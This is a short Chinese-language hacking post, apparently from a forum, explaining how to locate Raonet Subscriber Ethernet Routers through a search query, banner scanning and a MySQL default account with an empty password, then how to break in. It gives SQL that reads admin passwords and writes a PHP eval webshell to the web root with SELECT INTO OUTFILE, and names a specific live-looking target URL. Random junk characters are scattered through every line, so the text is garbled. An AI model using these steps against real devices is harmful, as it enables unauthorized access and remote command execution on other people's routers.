寻找存在漏洞的路由器方法:3 [5 G4 k! i/ W/ W- b6 y( r% e
8 X& G$ L1 M! |2 H6 s8 h9 X
1:google搜索'Raonet Subscriber Ethernet Router'* C: w% D @9 T
# [- D3 H1 P4 y u+ W2:使用WebDAVScan扫80端口,http banner为thttpd/2.21b 23apr20010 ?, o# X0 Y: s7 T9 |7 F3 F; J H
) U$ a9 g" |6 |- Z/ P) o
3:扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14,默认有一个高权限的帐户mysql,口令为空。
. {" M S% o5 y+ k/ \' N; V4 X3 X5 S5 t2 e% }
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......- J: p; {9 u5 Y7 }, g: K# A* T. B
" m- t( Z8 ?3 s
$ l" d! N/ L* r4 x Q( E+ `% w9 e B8 G+ r! e6 G
入侵步骤:% l5 Q8 C: l- U3 D4 B; r7 U! D
6 t. `0 N _" w. y2 \: N& _1.爆web路径,http://www.yu1u.org/src/jpgraph_line.php1 o$ }8 ^4 b$ h( f! C
, u) }: m1 t* [2 r/ {2:查看数据库配置文件,http://www.yu1u.org/inc/conn_db.inc
" a5 y$ T8 L, F0 h# r3:得到密码后连接,查看GUI管理密码:
8 }9 b) Z: O5 y# b* N# o% buse ser_500
( y2 ~1 y+ t9 \8 m5 ]select id,passwd from user;
9 R6 Q& _! O9 U8 z# ?9 n4:通过数据库写入webshell,执行命令:
4 o- |- j9 {+ J$ k: t \: Q4 T8 w; t cuse mysql;" f* J' [( B* T
create table ok(cmd TEXT);5 K3 j% B- S5 |0 x: Q
insert into ok values("<?php @eval($_POST[cmd])?>");
3 ~$ z3 p" c* y% U/ s- |9 X Q* Pselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";& q) r/ C% |1 _( i7 e
drop table ok;
. K5 ^7 J* L! a
E& G) j7 i5 E7 ]5:连接后门shell.php
& L/ B% }# P9 l$ |% o* d9 ^2 p1 q+ z3 ^: c, P
6. 搞定!
# n% S( z0 c8 U4 w9 t' ~$ l s
- G' R6 ^2 _: j& } |